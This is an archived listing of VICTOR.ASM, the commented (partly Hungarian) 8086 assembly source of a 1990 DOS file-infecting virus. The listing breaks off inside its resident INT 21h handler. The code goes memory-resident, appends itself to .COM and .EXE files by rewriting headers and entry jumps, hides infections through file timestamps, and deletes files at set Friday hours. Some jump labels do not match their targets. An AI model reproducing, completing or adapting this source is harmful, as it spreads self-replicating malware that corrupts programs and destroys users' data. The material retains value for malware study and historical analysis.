home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / VICTOR.ASM < prev    next >
Assembly Source File  |  1990-03-09  |  30KB  |  889 lines

  1. ;************************************************
  2. ;*                                              *
  3. ;*   VICTOR V.1.0                               *
  4. ;*   The incredible high performance virus      *
  5. ;*   Length #98A bytes                          *
  6. ;*                                              *
  7. ;************************************************
  8. ;
  9. ;        6 = bunteto sys file's time
  10. ;        8 = bunteto sys file's date
  11. ;       3f = Loaded .EXE header E... offset SS
  12. ;       41 =         value SP
  13. ;       43 =         chksum
  14. ;       45 =         value IP
  15. ;       47 =         offset CS
  16. ;       49 = SS init addr (relative to 0)
  17. ;       4B = SP init addr
  18. ;       4F = .EXE start point ofs (relative to 0)
  19. ;       51 = .EXE start point seg
  20. ;       53 = .exe size$ - header length
  21. ;       59 = .EXE file logikai merete /felkerekitve egy $ al, $ hatar/
  22. ;       5B =   --""--
  23. ;       5D = .exe size length mod 512
  24. ;       5F = .exe size length div 512
  25. ;       61 = Loaded .EXE header length $ mod 512
  26. ;       63 = PSP seg
  27. ;       65 = psp seg
  28. ;       72 = ido tarolohely hi=sec, lo=1/100 sec
  29. ;   B   74 = jelzo a bunteto rendszerben talalt file 1=COM,0=EXE
  30. ;       75 = a bunteto rendszerben a talalt file attributuma
  31. ;       77 = DOS fatal error ofs
  32. ;       79 = DOS fatal error seg
  33. ;       7B = DTA ofs
  34. ;       7D = DTA seg
  35. ;       7F = PSP seg
  36. ;   B   81 = A sajat file f9=.EXE/f8=.COM (default)
  37. ;       82 = INT_21 ofs
  38. ;       84 = INT_21 seg
  39. ;       86 = az FFFF funkciora dos-tol visszakapott ertek
  40. ;       88 = seg PSP:100 / PSP
  41. ;       8C = env-en beluli offset  sajat nev
  42. ;       8E = SS save area
  43. ;       90 = SP save area
  44. ;       92
  45. ;        |   Parameter Block for Load
  46. ;       9E
  47. ;   B   A2 = INT_21 second
  48. ;   B   A3 = INT_21 minute
  49. ;       A4 = INT_21 SS save
  50. ;       A6 = INT_21 SP save
  51. ;       A8 = flag 1=child process in action 0=foprocess
  52. ;       A9 = INT_21 original AX
  53. ;   B   B1 = idopont flag Pentek 9,11,13,15 idopontokban 1 /0
  54. ;   B   B2 = day of week (0=sun ... 6=sat)
  55. ;   B   BA = f8 (default .COM file) f9=exe
  56. ;
  57. XSEG    SEGMENT
  58.         ASSUME CS:XSEG
  59. XPROC   PROC FAR
  60.         CALL    L00B4           ;eloszor egy jmp x-el a virus indul el
  61.         db      ?,?,?           ;a program elso 3 byte-ja
  62.         db      ? dup (?)       ;adatterulet
  63. L00B4:  POP     SI
  64.         SUB     SI,3
  65.         CLI
  66.         CLD
  67.         CLC
  68.         JC      L00EB
  69.         PUSH    SI
  70.         ADD     SI,3
  71.         CLD
  72.         MOV     DI,100H         ;restauracio
  73.         MOVSW
  74.         MOVSB
  75.         POP     SI
  76.         MOV     AX,CS
  77.         MOV     BX,AX
  78.         MOV     CL,4
  79.         SHR     SI,CL
  80.         ADD     AX,SI           ;ax=virus kezdet szegmens
  81.         PUSH    AX
  82.         MOV     AX,0D8H
  83.         PUSH    AX
  84.         DB      0CBH            ;RETF
  85. ;cont...
  86.         MOV     CS:[7FH],BX             ;eredeti PSP addr
  87.         MOV     CS:[63H],BX
  88.         MOV     AX,CS
  89.         MOV     DS,AX
  90.         MOV     ES,AX                   ;atteres a virus szegmensre
  91.         JMP     L010A
  92. ;L00EB:
  93. ;        MOV     CS:[0063H],DS
  94. ;        MOV     AX,CS
  95. ;        MOV     DS,AX
  96. ;        MOV     ES,AX
  97. ;        MOV     AX,WORD PTR DS:[0063H]
  98. ;        ADD     AX,0010H
  99. ;        MOV     WORD PTR DS:[0065H],AX
  100. ;        MOV     SI,003FH
  101. ;        MOV     DI,0049H
  102. ;        MOV     CX,0005H
  103. ;        MOVSW
  104. ;
  105.  
  106. ;
  107. ; A virus ellenorzi a DOS verziot, ha ez nem megfelelo _exec.
  108. ; Ha a virus meg nincs a memoriaban _copy0
  109. ; Ha mar bent van _exec
  110. ;
  111. L010A:  MOV     AL,DS:[00BAH]
  112.         MOV     DS:[0081H],AL
  113.         MOV     AH,30H                  ;DOS version
  114.         INT     21H
  115.         CMP     AL,3
  116.         JZ      vers_ok
  117.         MOV     CX,0FEC1H
  118.         MOV     DS:[0086H],CX
  119.         JMP     _exec
  120. vers_ok:MOV     AX,0FFFFH               ;Mar a memoriaban van ?
  121.         MOV     BX,0FF0H
  122.         INT     21H
  123.         MOV     DS:[0086H],CX
  124.         CMP     CX,0FEC1H
  125.         JNZ     _copy0
  126.         JMP     _exec
  127. ;
  128. ;  _copy0: a virus elhelyezese a memoriaban
  129. ;
  130. ; A virus meg nincs a memoriaban.
  131. ; Megkeresi a saja nevet a kesobbieknek es megnezi hogy sajat maga elerheto-e.
  132. ; A memoriablokkja elejere masolja a virust .COM, es .EXE file-oknak
  133. ; megfeleloen. Ezek utan _exec.
  134. ;
  135. _copy0:
  136.         PUSH    ES
  137.         MOV     AX,DS:[063H]            ;A program ENV-je
  138.         MOV     ES,AX
  139.         MOV     AX,ES:[02CH]
  140.         MOV     DS:[8AH],AX
  141.         PUSH    DS
  142.         MOV     AX,DS:[8AH]
  143.         MOV     DS,AX
  144.         MOV     ES,AX
  145.         XOR     DI,DI
  146.         MOV     AL,1
  147.         MOV     CX,01F4H
  148.         REPNE   SCASB
  149.         INC     DI
  150.         POP     DS
  151.         POP     ES
  152.         MOV     DS:[8CH],DI             ;Sajat fertozott programom neve
  153.         PUSH    DS
  154.         MOV     DX,DI
  155.         MOV     AX,DS:[008AH]
  156.         MOV     DS,AX
  157.         MOV     AX,3D00H                ;Open File = Sajat magam
  158.         INT     21H
  159.         POP     DS
  160.         JNC     L0175
  161.         MOV     DS:[86H],0FEC1H
  162.         JMP     _exec
  163. L0175:  MOV     BX,AX                   ;Close File
  164.         MOV     AH,3EH
  165.         INT     21H
  166.         CMP     BYTE PTR DS:[081H],0F9H
  167.         JZ      exe_file                ;Az exe-t 0-ra kell masolni
  168.         MOV     AX,DS:[007FH]
  169.         MOV     DS:[0065],AX
  170.         MOV     ES,AX
  171.         ADD     AX,0010H
  172.         MOV     WORD PTR DS:[0088H],AX  ;ES=PSP:100
  173.         XOR     SI,SI
  174.         MOV     DI,0100H                ;eddig a virus a mem vegen volt
  175.         MOV     CX,098AH                ;Atmasolja a virust  PSP:100 ra
  176.         REP     MOVSB
  177.         PUSH    AX
  178.         MOV     AX,01B7H
  179.         PUSH    AX
  180.         DB      0CBH                    ;A vezerles a PSP:100 ban!!! to:1
  181. ;
  182. ; .EXE program eseten nem kell lehet 100H ra tenni.
  183. ;
  184. exe_file:
  185.         MOV     AX,DS:[0065H]           ;normal psp:
  186.         MOV     ES,AX
  187.         MOV     DS:[0088H],AX
  188.         XOR     SI,SI
  189.         XOR     DI,DI
  190.         MOV     CX,098AH                ;A virus szegmensbol a psp: re
  191.         REP     MOVSB                   ; atmasolja a virust.
  192.         PUSH    AX
  193.         MOV     AX,01B7H
  194.         PUSH    AX
  195.         DB      0CBH; RETF
  196. ; cont from 1
  197. ;
  198. ;       _exec: blow/install/run_original
  199. ;
  200. ; 1. Esetleges kartekonykodas.
  201. ; 2. a, Ha a virus mar a memoriaban van, lefuttatja az
  202. ;       eredeti programot. /ez a tarban van, csupan a vezerlest kell raadni./
  203. ;    b, Ha meg nincs a memoriaban, akkor atveszi a rendszertol
  204. ;       a vezerlest. /ezutan barmilyen DOS fn-kerelmet ellenorizhet, vagy
  205. ;       tetszese szerint hatasaban megvaltoztathat./ Ennel a megvalositasnal
  206. ;       a virus felulirta a betoltott programot, hogy a memoriablokk tetejen
  207. ;       lehessen. Igy kenytelen a dos program betolto-lefuttato funkciojat
  208. ;       hasznalni, hogy lefuttassa a programot. A vezerlest visszakapva magat
  209. ;       rezidensse teszi magat, es kilep a DOS-ba /KEEP funkcio./
  210. ;
  211. ; /a hasznalata elott szukseges _copy0, ha meg nem rezidens a virus./
  212. ;
  213. ;
  214.         MOV     AX,CS                   ;cs=psp:100
  215.         MOV     DS,AX
  216.         MOV     ES,AX
  217.         MOV     SS,AX
  218.         MOV     SP,08F3H
  219. _exec:  MOV     AH,2CH                  ;Get Time
  220.         INT     21H
  221.         MOV     DS:[0072H],DX           ;seconds/hundredths
  222.         MOV     AH,2CH
  223.         INT     21H
  224.         MOV     CL,DL
  225.         AND     CL,0FH
  226.         ROL     DS:[0072H],CL
  227.         TEST    WORD PTR DS:[0072H],1   ;Veletlen esemeny
  228.         JE      L01E2
  229.         JMP     L01E5
  230. L01E2:  CALL    _working                ;???? kartekonykodhat...
  231. L01E5:  CMP     WORD PTR DS:[86H],0FEC1H;Meg nincs installalva de _copy0 volt
  232.         JNZ     _inst
  233.         JMP     run_prg                 ;a program tarban van, ugorj ra!
  234. _inst:  MOV     DX,DS:[0088H]           ;seg(PSP:100) - PSP = 10
  235.         SUB     DX,DS:[0065H]
  236.         MOV     BX,098AH                ;Virus length in paragraphs
  237.         MOV     CL,04H
  238.         SHR     BX,CL
  239.         INC     BX
  240.         ADD     DX,BX
  241.         ADD     DX,10H
  242.         MOV     DS:[00A0H],DX
  243.         PUSH    ES
  244.         MOV     ES,DS:[0063H]           ;A sajat memoriablokkom merete csokken,
  245.         MOV     BX,DS:[00A0H]           ; pont annyi lesz, ahova befer a virus
  246.         MOV     AX,4A00H                ; PSP vel egyutt meg + $10
  247.         INT     21H                     ;/mivel bemasoltuk, ez ott van/
  248.         POP     ES
  249.         PUSH    ES
  250.         MOV     AX,3521H                ;Get INT_21 vector
  251.         INT     21H
  252.         MOV     DS:[0082H],BX
  253.         MOV     DS:[0084H],ES
  254.         POP     ES
  255.         MOV     DX,06B3H                ;Set INT_21 vector
  256.         MOV     AX,2521H
  257.         INT     21H
  258.         MOV     BYTE PTR DS:[00A8H],1   ;=child process flag
  259.         PUSH    ES                      ;Prepare for Load/Exec self
  260.         PUSH    DS
  261.         MOV     DS:[008EH],SS
  262.         MOV     DS:[0090H],SP
  263.         MOV     AX,WORD PTR DS:[008AH]  ;Az L/E egy uj memoriablokkot hoz
  264.         MOV     WORD PTR DS:[0092H],AX  ;letre /a virusprogram felett/
  265.         MOV     AX,WORD PTR DS:[0063H]  ;exitnel csak az altala lefoglalt
  266.         MOV     WORD PTR DS:[0096H],AX  ;blokk szabadul fel, a virus bent
  267.         MOV     WORD PTR DS:[009AH],AX  ;marad tovabbra is.
  268.         MOV     WORD PTR DS:[009EH],AX
  269.         MOV     BX,0092H
  270.         MOV     DX,DS:[008CH]
  271.         MOV     AX,WORD PTR DS:[008AH]
  272.         MOV     DS,AX
  273.         MOV     AX,4B00H
  274.         INT     21H
  275.         MOV     AX,WORD PTR CS:[008EH]  ;A kilepeskor felszabadult a futtato
  276.         MOV     SS,AX                   ;blokk, es visszakaptam a vezerlest.
  277.         MOV     SP,CS:[0090H]
  278.         POP     DS
  279.         POP     ES
  280.         MOV     BYTE PTR DS:[00A8H],0   ;Process flag
  281.         MOV     DX,DS:[00A0H]
  282.         MOV     AX,3100H                ;Terminate process and remain resident
  283.         INT     21H                     ;(KEEP)
  284. ; Akkor hajtodik vegre, ha a virus mar bent van a memoriaban
  285. run_prg:
  286.         CMP     BYTE PTR CS:[81H],0F8H  ;.COM program
  287.         JNZ     run_exe
  288.         JMP     run_com
  289. run_exe:MOV     DX,DS:[0065H]           ;PSP
  290.         ADD     DS:[0051H],DX           ;Inditasi szegmens
  291.         MOV     AX,WORD PTR DS:[0049H]  ;SS relative
  292.         ADD     AX,DX                   ;Setup Stack
  293.         MOV     SS,AX
  294.         MOV     SP,DS:[004BH]
  295.         MOV     AX,WORD PTR DS:[0063H]  ;Default PSP
  296.         MOV     DS,AX
  297.         MOV     ES,AX
  298.         STI
  299.         JMP     DWORD PTR CS:[004FH]    ;EXE Start point
  300. ; .COM program kornyezet beallitas, es lefuttatas PSP:100
  301. run_com:MOV     AX,WORD PTR DS:[007FH]  ;Default PSP
  302.         MOV     DS,AX
  303.         MOV     ES,AX
  304.         STI
  305.         PUSH    AX
  306.         MOV     AX,0100H
  307.         PUSH    AX
  308.         DB      0CBH; RETF
  309. ;
  310. ; Kartekony: letorol egy par file-t, vagy fertoz
  311. ;
  312. _working:
  313.         MOV     CX,DS:[0072H]           ;Veletlen kezdoertek 1..4 ciklus
  314.         AND     CX,3
  315.         INC     CX
  316. delet:  PUSH    CX
  317.         CALL    L02C5
  318.         POP     CX
  319.         LOOP    delet
  320.         DB      0C3H; RET
  321. ;
  322. L02C5:  MOV     AH,2AH                  ;Get Date
  323.         INT     21H
  324.         MOV     DS:[00B2H],AL           ;Day of Week
  325.         PUSH    ES
  326.         MOV     AH,2FH                  ;Get DTA
  327.         INT     21H
  328.         MOV     DS:[007BH],BX
  329.         MOV     DS:[007DH],ES
  330.         POP     ES
  331.         MOV     DX,0014H                ;Set DTA
  332.         MOV     AH,1AH
  333.         INT     21H
  334.         PUSH    ES
  335.         MOV     AX,3524H                ;Get Dos Fatal Error vector
  336.         INT     21H
  337.         MOV     DS:[0077H],BX
  338.         MOV     DS:[0079H],ES
  339.         POP     ES
  340.         MOV     DX,00B3H
  341.         MOV     AX,2524H                ;Set Fatal Error to : IRET
  342.         INT     21H
  343.         MOV     CX,0FFE3H
  344.         MOV     DX,000AH                ;Search for first :*.*
  345.         MOV     AH,4EH
  346.         INT     21H
  347.         JNC     _kezd
  348.         JMP     io_err                  ; reset DTA, fatal error, RET
  349. _kezd:  MOV     AH,2CH                  ;Set randomizer
  350.         INT     21H
  351.         MOV     DS:[0072H],DX
  352.         MOV     AH,2CH
  353.         INT     21H
  354.         MOV     CL,DL
  355.         AND     CL,0FH
  356.         ROL     DS:[0072H],CL
  357.         MOV     AH,2CH                  ;Get Time
  358.         INT     21H
  359.         XOR     DS:[0072H],DX
  360.         MOV     BYTE PTR DS:[00B1H],0   ;idopont-flag
  361.         CMP     BYTE PTR DS:[00B2H],3   ;Milyen nap van?
  362.         JNZ     no_date
  363.         CMP     CH,9                    ;Pentek 9h,11h,13h,15h-nal
  364.         JZ      kill                    ; kimeletlenul letorol fileokat
  365.         CMP     CH,0BH
  366.         JZ      kill                    ;maskor neha megnezi hogy com/exe-e.
  367.         CMP     CH,0DH
  368.         JZ      kill
  369.         CMP     CH,0FH
  370.         JNZ     no_date
  371. kill:   MOV     BYTE PTR DS:[00B1H],1   ;A datum megfelelo
  372. no_date:TEST    WORD PTR DS:[0072H],30H
  373.         JNZ     _1
  374.         JMP     d_next
  375. _1:     CMP     BYTE PTR DS:[00B1H],1
  376.         JNZ     look_run
  377.         MOV     DX,0032H                ;Megfelel az idopont, es sajnos...
  378.         MOV     CX,0020H
  379.         MOV     AX,4301H
  380.         INT     21H                     ;change file mode to normal
  381.         JNB     _del
  382.         JMP     io_err
  383. _del:   MOV     DX,0032H                ;UNLINK file
  384.         MOV     AH,41H
  385.         INT     21H
  386.         JMP     io_err
  387. ;
  388. ; Ha futtathato .COM v .EXE a talalt file akkor megfertozi ha meg nincs,
  389. ; egyebkent keres egy masik file-t. /1 lehetoseget ad/
  390. ;
  391. look_run:
  392.         MOV     DI,0032H                ;A penteki kritikus idon kivul
  393.         XOR     AL,AL                   ;akar fertozhet is
  394.         MOV     CX,003FH
  395.         REPNE   SCASB
  396.         SUB     DI,+04H
  397.         MOV     BP,DI
  398.         MOV     SI,DI
  399.         MOV     CX,0003H                ;ez egy .COM volt ???
  400.         MOV     DI,000EH
  401.         REPE    CMPSB
  402.         JZ      _dcom
  403.         MOV     SI,BP
  404.         MOV     CX,0003H                ;vagy egy .EXE ???
  405.         MOV     DI,0011H
  406.         CMPSB
  407.         JZ      _dexe
  408.         JMP     d_next                  ;nem futtathato file, ujat
  409. _dcom:  MOV     BYTE PTR DS:[0074H],1
  410.         JMP     _d
  411. _dexe:  MOV     BYTE PTR DS:[0074H],0
  412. _d:     MOV     DX,0032H                ;Get file attr
  413.         MOV     AX,4300H
  414.         INT     21H
  415.         JNB     _2
  416.         JMP     io_err
  417. _2:     MOV     DS:[0075H],CX
  418.         MOV     DX,0032H                ;Set normal attr
  419.         MOV     CX,0020H
  420.         MOV     AX,4301H
  421.         INT     21H
  422.         JNC     L03CD
  423.         JMP     io_err
  424. L03CD:  MOV     DX,0032H                ;Open file
  425.         MOV     AX,3D02H
  426.         INT     21H
  427.         JNB     L03DA
  428.         JMP     io_err
  429. L03DA:  MOV     BX,AX
  430.         MOV     AX,5700H                ;Get file date/time
  431.         INT     21H                     ;a fertozott fileok ideje oszthato 8-al
  432.         JNB     _3
  433.         JMP     io_err
  434. _3:     MOV     DS:[0006H],CX
  435.         MOV     DS:[0008H],DX
  436.         TEST    CX,0007H
  437.         JZ      dft_ok
  438.         JMP     fertoz                  ;ha nem oszthato 8-al, nincs fertozve
  439. dft_ok: TEST    WORD PTR DS:[72H],43H   ;meg bizonytalankodik
  440.         JZ      d_mehet
  441.         JMP     d_clnxt
  442. d_mehet:MOV     CX,0FFFFH               ;LSEEK  EOF - 6
  443.         MOV     DX,0FFFAH
  444.         MOV     AX,4202H
  445.         INT     21H
  446.         JNB     dls_ok
  447.         JMP     io_err
  448. dls_ok: MOV     CX,0006H                ;Read file's last 6 byte
  449.         MOV     DX,00ABH
  450.         MOV     AH,3FH
  451.         INT     21H
  452.         JNC     drd_ok
  453.         JMP     io_err
  454. drd_ok: MOV     CX,0003H                ;megegyezik valamivel
  455.         MOV     SI,0984H                ;/mar fertozott/
  456.         MOV     DI,00ABH
  457.         REPE    CMPSW
  458.         JZ      d_clnxt
  459.         JMP     fertoz
  460. d_clnxt:                                ;Close and Next
  461.         MOV     AH,3EH
  462.         INT     21H
  463.         JNB     d_attrs
  464.         JMP     io_err
  465. dattrs: MOV     CX,DS:[0075H]           ;Reset attr
  466.         MOV     DX,0032H
  467.         MOV     AX,4301H
  468.         INT     21H
  469.         JNC     d_next
  470.         JMP     io_err
  471. ;
  472. ; Probal ujabb file-t keresni
  473. ;
  474. d_next: TEST    WORD PTR DS:[0072H],2CH         ;meg egy lehetosege van
  475.         JNZ     _dsnext
  476.         JMP     io_err
  477. _dsnext:MOV     AH,4FH
  478.         INT     21H
  479.         JNC     _dnxtok
  480.         JMP     io_err
  481. _dnxtok:JMP     _kezd
  482. ;
  483. ; A fertozott file jellemzoi: /.COM v .EXE /
  484. ;
  485. ;   Csak olyan file-okat fertoz meg melyek hossza nagyobb a virusenal.
  486. ;   A tul nagy .COM fileokat nem bantja.
  487. ;   File ido oszthato 8-al
  488. ;   File vegen levo virus azonosito (6 byte ea80492502. )
  489. ;
  490. fertoz: XOR     CX,CX
  491.         XOR     DX,DX
  492.         MOV     AX,4202H        ;LSEEK eof
  493.         INT     21H
  494.         JNC     _4
  495.         JMP     io_err
  496. _4:     AND     DX,DX
  497.         JNZ     d_selct
  498.         CMP     AX,098AH        ;csak a virusnal nagyobbak jok
  499.         JNC     d_selct
  500.         JMP     d_clnxt
  501. d_selct:CMP     BYTE PTR DS:[0074H],1
  502.         JNZ     df_exe
  503.         JMP     df_com
  504. ;
  505. ; .EXE file megfertozese
  506. ;
  507. ; 1. Beolvassa a File hosszat mod 512 (+2) es a tobbi informaciot
  508. ; 2. A file vegere /size felkerekitett $, $ hatar/ felirja a virus-testet
  509. ; 3. Kiszamitja a kod hosszat = eredeti_file_size$ - header_size ,
  510. ;    es ez lesz erteke az uj +SS,+CS nek, IP=0.
  511. ;    /az eredeti exe kod moge, pont a virusra mutat/
  512. ; 4. Felirja az uj Header informaciot.
  513. ; 5. Megallapitja az uj filehossz div,mod 512-t
  514. ; 6. Felirja a headerbe (+2)
  515. ; 7. Visszaallitja a file-idot (div 8) es a file attributumot
  516. ;
  517. df_exe:
  518.         MOV     BYTE PTR CS:[BAH],0F9H  ;.EXE file
  519.         XOR     CX,CX
  520.         MOV     DX,0008H
  521.         MOV     AX,4200H                ;LSEEK 8: Size of header $
  522.         INT     21H
  523.         JNB     _5
  524.         JMP     io_err
  525. _5:     MOV     CX,0002H                ;READ Size of header mod 512
  526.         MOV     DX,0061H
  527.         MOV     AH,3FH
  528.         INT     21H
  529.         JNC     _6
  530.         JMP     io_err
  531. _6:     XOR     CX,CX                   ;LSEEK E: Offset of SS
  532.         MOV     DX,000EH
  533.         MOV     AX,4200H
  534.         INT     21H
  535.         JNC     _7
  536.         JMP     io_err
  537. _7:     MOV     CX,000AH                ;Read header information
  538.         MOV     DX,003FH
  539.         MOV     AH,3FH
  540.         INT     21H
  541.         JNC     _8
  542.         JMP     io_err
  543. _8:     XOR     CX,CX
  544.         XOR     DX,DX
  545.         MOV     AX,4202H                ;LSEEK eof
  546.         INT     21H
  547.         JNB     _9
  548.         JMP     io_err
  549. _9:     MOV     CX,DX
  550.         MOV     DX,AX                   ;a meret felkerekitve egy $-al
  551.         ADD     DX,+10H                 ;mindig $ hatar
  552.         ADC     CX,+00H
  553.         AND     DX,-10H
  554.         MOV     AX,4200H
  555.         INT     21H                     ;Elmegy a file vegere /maga szerint/
  556.         JNB     _10
  557.         JMP     io_err
  558. _10:    MOV     DS:[005BH],DX
  559.         MOV     DS:[0059H],AX
  560.         MOV     CX,098AH
  561.         XOR     DX,DX                   ;Felirja a virus-testet
  562.         MOV     AH,40H
  563.         INT     21H
  564.         JNB     L0501
  565.         JMP     io_err
  566. L0501:  CMP     AX,CX
  567.         JE      L0508
  568.         JMP     io_err
  569. L0508:  MOV     DX,DS:[005BH]           ;size HI max. 000x  x=0..f hexad.
  570.         MOV     CL,0CH
  571.         SHL     DX,CL
  572.         MOV     AX,DS:[0059H]           ;size LO
  573.         MOV     CL,04H
  574.         SHR     AX,CL
  575.         OR      DX,AX
  576.         SUB     DX,DS:[0061H]
  577.         MOV     DS:[005BH],DX           ;size $ - header_length = code_length$
  578.         MOV     DS:[0053H],DX
  579.         MOV     WORD PTR DS:[0059H],0
  580.         XOR     CX,CX
  581.         MOV     DX,000EH                ;LSEEK E:
  582.         MOV     AX,4200H
  583.         INT     21H
  584.         JNB     L053A
  585.         JMP     io_err
  586. L053A:  MOV     CX,000AH                ;WRITE UP new Header Info
  587.         MOV     DX,0053H                ;
  588.         MOV     AH,40H                  ; new SS ofs = file moge mutat
  589.         INT     21H                     ; new IP = 0
  590.         JNB     L0549                   ; new CS ofs = file moge mutat
  591.         JMP     io_err
  592.         NOP
  593. L0549:  XOR     CX,CX                   ;LSEEK EOF
  594.         XOR     DX,DX
  595.         MOV     AX,4202H
  596.         INT     21H
  597.         JNB     L0557
  598.         JMP     io_err
  599.         NOP
  600. L0557:  ADD     AX,01FFH                ;Totalsize = exesize + virus
  601.         ADC     DX,0                    ;felkerekiti 512-re
  602.         MOV     DH,DL
  603.         MOV     DL,AH                   ;DX= DL AH
  604.         XOR     AH,AH
  605.         SHR     DX,1                    ; ez lesz a hanyados
  606.         ADC     AH,0
  607.         MOV     WORD PTR DS:[005DH],AX  ; 256/0 maradek
  608.         MOV     DS:[005FH],DX
  609.         XOR     CX,CX                   ;LSEEK 2: size mod 512
  610.         MOV     DX,0002H
  611.         MOV     AX,4200H
  612.         INT     21H
  613.         JNB     L057E
  614.         JMP     io_err
  615.         NOP
  616. L057E:  MOV     CX,0004H                ;WRITE up  size mod 512
  617.         MOV     DX,005DH                ;          size div 512
  618.         MOV     AH,40H
  619.         INT     21H
  620.         JNB     L058D
  621.         JMP     SHORT io_err
  622.         NOP
  623. L058D:  MOV     CX,DS:[0006H]           ;Set Original file time
  624.         MOV     DX,DS:[0008H]           ;kiveve time oszthato 8-al
  625.         AND     CX,-08H
  626.         MOV     AX,5701H
  627.         INT     21H
  628.         JNB     L05A2
  629.         JMP     SHORT io_err
  630.         NOP
  631. L05A2:  MOV     AH,3EH                  ;Close
  632.         INT     21H
  633.         JNB     L05AB
  634.         JMP     SHORT io_err
  635.         NOP
  636. L05AB:  MOV     CX,DS:[0075H]           ;Reset attr
  637.         MOV     DX,0032H
  638.         MOV     AX,4301H
  639.         INT     21H
  640.         JMP     io_err
  641. ;
  642. ; I/O error
  643. ;
  644. io_err: PUSH    DS
  645.         MOV     DX,DS:[007BH]
  646.         MOV     AX,DS:[007DH]
  647.         MOV     DS,AX           ;Reset DTA
  648.         MOV     AH,1AH
  649.         INT     21H
  650.         POP     DS
  651.         PUSH    DS
  652.         MOV     DX,DS:[0077H]
  653.         MOV     AX,DS:[0079H]   ;Reset Fatal Error vector
  654.         MOV     DS,AX
  655.         MOV     AX,2524H
  656.         INT     21H
  657.         POP     DS
  658.         DB      0C3H; RET
  659. ;
  660. ; A .COM file megfertozese:
  661. ;
  662. ; 1. Ellenorzi, hogy nem lesz-e tul nagy a .COM file a virussal egyutt.
  663. ; 2. Eltarolja adatteruletere a file elso 3 byte-jat /ezt fogja kicserelni/
  664. ; 3. A file vege utan /felkerekiti egy $-al,mindig $-hatar/ felirja a
  665. ;    virus-testet.
  666. ; 4. A file elejere felirja a JMP v_start utasitast. v_start = filesize + 3
  667. ; 5. Visszaallitja a file-idot azon modositassal, hogy mindig oszthato 8-al
  668. ;    /ez egy jel amirol gyorsabban ismerheti fel a mar fertozott prg-kat/,
  669. ;    es az eredeti file-attributumot.
  670. ;
  671. df_com:
  672.         MOV     BYTE PTR CS:[BAH],0F8H  ;.COM file
  673.         XOR     DX,DX
  674.         XOR     CX,CX
  675.         MOV     AX,4202H                ;LSEEK EOF
  676.         INT     21H
  677.         JNB     _c1
  678.         JMP     SHORT io_err
  679. _c1:    MOV     CX,0FC80H               ;nem tul nagy-e a file (max 64K COM)
  680.         SUB     CX,098AH
  681.         CMP     AX,CX
  682.         JB      _csoz
  683.         JMP     d_clnxt
  684. _csok:  XOR     DX,DX
  685.         XOR     CX,CX
  686.         MOV     AX,4200H                ;LSEEK START
  687.         INT     21H
  688.         JNB     _crd3
  689.         JMP     SHORT io_err
  690. _crd3:  MOV     CX,0003H                ;READ FILE'S FIRST 3 byte
  691.         MOV     DX,0003H                ;(ezt fogja lecserelni az ugrasra)
  692.         MOV     AH,3FH                  ;ds:3 ra azaz a virustestbe
  693.         INT     21H
  694.         JNB     _crdok
  695.         JMP     SHORT io_err
  696. _crdok: CMP     AX,CX
  697.         JZ      _crdok1
  698.         JMP     SHORT io_err
  699. _crdok1:XOR     CX,CX                   ;LSEEK EOF
  700.         XOR     DX,DX
  701.         MOV     AX,4202H
  702.         INT     21H
  703.         JNC     _cls1ok
  704.         JMP     io_err
  705. _cls1ok:MOV     BP,AX                   ; (size + 10h) AND -10h =
  706.         ADD     BP,+10H
  707.         AND     BP,-10H                 ; felkerekiti egy $-al a size-t
  708.         XOR     CX,CX
  709.         MOV     DX,BP
  710.         MOV     AX,4200H                ; es elmegy ide /over EOF/
  711.         INT     21H
  712.         JNB     _covr
  713.         JMP     io_err
  714. _covr:  MOV     CX,098AH                ;WRITE felirja a virustestet
  715.         XOR     DX,DX
  716.         MOV     AH,40H
  717.         INT     21H
  718.         JNB     _cwrok
  719.         JMP     io_err
  720. _cwrok: CMP     AX,CX
  721.         JZ      _cwr1ok
  722.         JMP     io_err
  723. _cwrok1:XOR     DX,DX                   ;LSEEK START
  724.         XOR     CX,CX
  725.         MOV     AX,4200H
  726.         INT     21H
  727.         JNB     L0664
  728.         JMP     io_err
  729. L0664:  MOV     BYTE PTR DS:[0003H],0E9H
  730.         SUB     BP,+03H                 ;WRITE jmp virus (size+3)
  731.         MOV     DS:[0004H],BP
  732.         MOV     CX,0003H
  733.         MOV     DX,0003H
  734.         MOV     AH,40H
  735.         INT     21H
  736.         JNB     L067F
  737.         JMP     io_err
  738. L067F:  CMP     AX,CX
  739.         JE      L0686
  740.         JMP     io_err
  741. L0686:  MOV     CX,DS:[0006H]           ;Set file Date/Time
  742.         MOV     DX,DS:[0008H]           ;A FERTOZOTT FILE IDEJE OSZTHATO 8-AL
  743.         AND     CX,-08H                 ;CX = xxxxx000
  744.         MOV     AX,5701H
  745.         INT     21H
  746.         JNB     L069B
  747.         JMP     io_err
  748. L069B:  MOV     AH,3EH                  ;Close file
  749.         INT     21H
  750.         JNB     L06A4
  751.         JMP     io_err
  752. L06A4:  MOV     CX,DS:[0075H]           ;Set original file attr
  753.         MOV     DX,0032H
  754.         MOV     AX,4301H
  755.         INT     21H
  756.         JMP     io_err                  ;befejezodott a fertozes
  757.  
  758. ;*******************************
  759. ;*                             *
  760. ;* A rezidens INT_21 funkcio   *
  761. ;*                             *
  762. ;*******************************
  763.  
  764.         CMP     AX,0FFFFH               ;virus funkcio: install_stat
  765.         JNE     L06C2
  766.         CMP     BX,0FF0H
  767.         JNE     L06C2
  768.         MOV     CX,0FEC1H               ;visszaadja az install-kodot
  769.         IRET
  770. L06C2:  CMP     AH,3EH                  ;CLOSE
  771.         JE      L0710
  772.         CMP     AH,41H                  ;UNLINK
  773.         JE      L0710
  774.         CMP     AH,3CH                  ;CREAT
  775.         JE      L0710
  776.         CMP     AH,42H                  ;LSEEK
  777.         JE      L0710
  778.         CMP     AH,43H                  ;CHMOD
  779.         JE      L0710
  780.         CMP     AH,4BH                  ;L/E
  781.         JE      L0710
  782.         CMP     AH,4EH                  ;FFIRST
  783.         JE      L0710
  784.         CMP     AH,4FH                  ;FNEXT
  785.         JE      L0710
  786.         CMP     AH,5BH                  ;CREATE
  787.         JE      L0710
  788.         CMP     AH,39H                  ;MKDIR
  789.         JE      L0710
  790.         CMP     AH,3AH                  ;RMDIR
  791.         JE      L0710
  792.         CMP     AH,3BH                  ;CHDIR
  793.         JE      L0710
  794.         CMP     AH,3DH                  ;OPEN
  795.         JE      L0710
  796.         CMP     AH,3FH                  ;READ
  797.         JE      L0710
  798.         CMP     AH,40H                  ;WRITE except BX=1 stdout
  799.         JE      L0710
